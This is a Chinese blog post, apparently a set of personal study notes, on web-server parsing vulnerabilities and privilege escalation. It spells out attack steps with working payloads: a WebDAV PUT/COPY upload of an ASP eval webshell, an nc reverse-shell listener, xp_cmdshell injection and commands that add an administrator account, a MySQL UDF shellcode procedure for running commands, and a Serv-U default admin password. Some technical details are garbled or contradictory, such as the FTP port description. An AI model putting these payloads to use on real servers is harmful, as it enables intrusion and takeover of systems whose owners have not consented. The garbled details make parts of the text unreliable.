提权-(瞎学习)

常见的web容器有IIS,Nginx,Apache,Tomcat等

IIS解析漏洞

经典漏洞名称WebDav
webdav是一种基于HTTP 1.1协议的通信协议,它扩展了HTTP协议,在GET,POST,HEAD等几个HTTP标准方法以外添加了一些新的方法。
在开启webDAV扩展的服务器后,如果支持put,move,copy,delete等方法,就可能会存在一些安全隐患,攻击者就可能通过put方法向服务器上传危险脚本文件。
第一步:通过options探测服务器所支持的http方法
请求:
OPTIONS / HTTP1.1
Host: www.example.org

第二步:通过put方法向服务器上传脚本文件
请求:
PUT /a.txt HTTP/1.1
HOST: www.example.org
Content-Length: 31

<%eval request(“cmd”) %>
第三步:通过Move或copy方法改名
请求:
COPY /a.txt HTTP/1.1
Host: www.example.org
Destination: www.example.org/cmd.asp

通过这三个步骤,攻击者就可以轻松获取一个webshell。

Apache解析漏洞

在apache 1.x和apache2.x中存在解析漏洞,但他们与IIS解析漏洞不同,apache在文件解析时有一个原则,当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止。如果都不认识,则会暴露源代码。

apache认识的扩展名都在apache的安装目录下面的 /conf/mime.types/ 文件中有详细的扩展名列表
有些程序开发人员在文件上传时,判断文件名是否是PHP,ASP,ASPX,ASA,CER,ASPX等脚本扩展名,如果是的话就不允许上传,这个时候攻击者可能上传1.php.rar等扩展名来绕过程序监测,并配合解析漏洞。

PHP CGI解析漏洞

Nginx是一款高性能的web服务器,通常是用来作为PHP的解析容器,
比如咱们访问http://www.example.com/1.jpg/1.php
此时1.jpg会被当作PHP脚本来解析,这个1.php是不存在的,但是1.jpg已经按照php脚本解析了。1.php并不是特定的,可以随意改名,假如攻击者可以上传一张图片木马,然后url后面加上xxx.php,就可以获得网站的webshell。
这是因为在PHP的配置文件中有一个关键的选项,cgi.fi: x_pathinfo,这个选项在某些版本中默认是开启的。在开启时访问URL,http://www.example.com/x.txt.x.php,x.php是不存在的文件,所以PHP将会向前递归解析,于是造成了解析漏洞。

提权

溢出提权:

溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取root权限,其中溢出漏洞又分为远程溢出和本地溢出。

远程溢出是指攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用相应的溢出程序,即可获取到远程服务器的root程序。比如有名的MS-08067溢出漏洞。
远程溢出的另一种表现则是针对服务器已经安装好的组件溢出,比如服务器安装了office,攻击者可能会通过office进行远程溢出操作。本地溢出相对于远程溢出来说,成功率更高,也是主流的一种提权方式。本地溢出提权时,需要攻击者首先需要有服务器的一个用户,且需要有执行权限的用户才能发起提权,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,呢么将会溢出root权限。

linux提权
第一步:查看服务器内核版本,不同的内核版本溢出的程序也不一样。
这个通过nmap等工具 或者命令Uname -a 就可以显示出来。然后通过命令id & uname -a来查看当前用户的ID,所属群组的ID,以及内核版本号。

第二步:本地接收服务器端数据,使用NC监听本地端口8888,等待服务器端反向连接, nc -l -n -v p 8888
第三步:服务器端shell反弹 ,反弹的方式有很多,比如脚本木马。

windows提权:
在windows下进行本地提权时,重点还是看用户是否可执行溢出程序,也就是执行权限,在ASP中依靠"wscript.shell"命令执行组件,而ASP.NET脚本语言中依靠的是".NET Framework",在JSP中却是依靠“JVM"来调用系统命令,各自实现的方式不同。所以在windows中进行本地溢出提权时,一般会看服务器所支持的脚本语言是否支持ASP,PHP,ASP.NET,JSP。

第三方组件提权

服务器运行时可能需要很多组件支持,比如,服务器安装了NET Framework,PcAnywhere,Mysql,SQL Server等组件。
第一步信息收集不过多阐述,没啥知识点。

下面咱们学习数据库提权,对于MYSQL,SQL Server,Oracle这类数据库

数据库提权

SQL Server提权主要是根据一个特殊的存储过程,“xp_cmdshell” 通过这个存储命令可以调用系统命令,比如
net user x x /add & net localgroup administrators x /add 增加管理员账户
虽然sql server提权比较简单,但只有在sysadmin权限下可以使用"xp_cmdshell"
SQL Server提权分为两种
(1)注入点
可以通过手注,还可以通过工具。
手注语句:
?id=1; exec master…xp_cmdshell “net user 1 1 /add”–
更多的是使用注射工具直接执行CMD命令,比如sqlmap,Pangolin
sqlmap.py -u " " --os-cmd=“net user”
(2)得到数据库账户信息
假设攻击者已经获取了"SA"的密码,呢么提权方式分为两种,一种是外连接提权,一种是本地连接提权,提权方式没变,主要是提权的位置。
假设xp_cmdshell没有开启
使用以下命令, 开启 xp_cmdshell 的命令(只有sa权限才可以开启)

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

有时即使不是SA账户,也可以使用xp_cmdshell提权,且非SA账户也可能是sysadmin权限。
SQL Server不仅可以使用xp_shell提权,使用sqlserveragent, sp_oacreate,xp_regwrite也是可以的,SQL Server提权不局限于xp_cmdshell,只不过是xp_cmdshell中最常见的一种提权方式。

MYSQL

mysql提权最常见的是UDF提权,UDF是User defined Function的缩写,即用户自定义函数。
测试步骤

create table TempTable (UDF BLOB); 创建临时表
insert into TempTable values (convert(shellcode,CHAR)); 插入shellcode
select udf from TempTable into dumpfile 'C:\\Windows\udf.dll"; //导出UDF.dll
drop table TempTable; //删除临时表
create function cmdshell returns string soname "udf.dll";//创建cmdshell函数
select cmdshell('command');//执行命令
drop function cmdshell; //删除cmdshell函数

以上就是MYSQL UDF提权的详细过程,第二步需要导入命令执行shellcode,在执行第三步的时候,要注意mysql版本,mysql 5.0以上需要导入到系统目录,因为第五步需要引用udf.dll,而mysql 5.0以上不允许有路径存在,所以,mysql 5.0以上不允许有路径存在,所以mysql 5.0以上的版本一般都会导入到"C:\Windows"目录中。UDF必须导入安装目录下的lib/plugin目录下才可以

sqlmap也有UDF,使用sqlmap也可以对mysql提权。

FTP提权

FTP的全程是file transfer protocol(文本传输协议),是在TCP/IP网络和internet上最早使用的协议之一

FTP服务一般运行在20和21端口,其中,21用于在客户端和服务器之间传输数据流,而端口21用于传输控制流。
windows本身即提供FTP服务,但用得更多的却是第三方软件,例如,G6FTP, Serv-U,fileZilla都是非常好的FTP软件。
FTP提权主要原因是FTP软件可以执行系统命令,当用户FTP权限未配置正确,或者权限过大时,就可能被攻击者用来授权。
1、serv-u提权
Serv-U会监听端口43958,且Serv-U会有一个默认的管理用户
LocalAdministrator,密码为#l@$ak#.lk;0@P,通过此账户可以添加FTP用户。
即使修改这个用户的密码,但是依然可以哦那个过Serv-U的配置文件找到修改后的密码。配置文件在Serv-U目录下的”servUAdmin.exe“中,将其下载在本地。还有一种方式就是修改配置文件,直接添加FTP用户,这种方式需要修改权限,且Serv-U需要重启。

在Serv-U的安装目录下有一个重要的配置文件”ServUDaemon.ini"。该配置文件中保存了所有的FTP账户信息。
这里面的passwd是md5加密形式,解密就是passwd。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值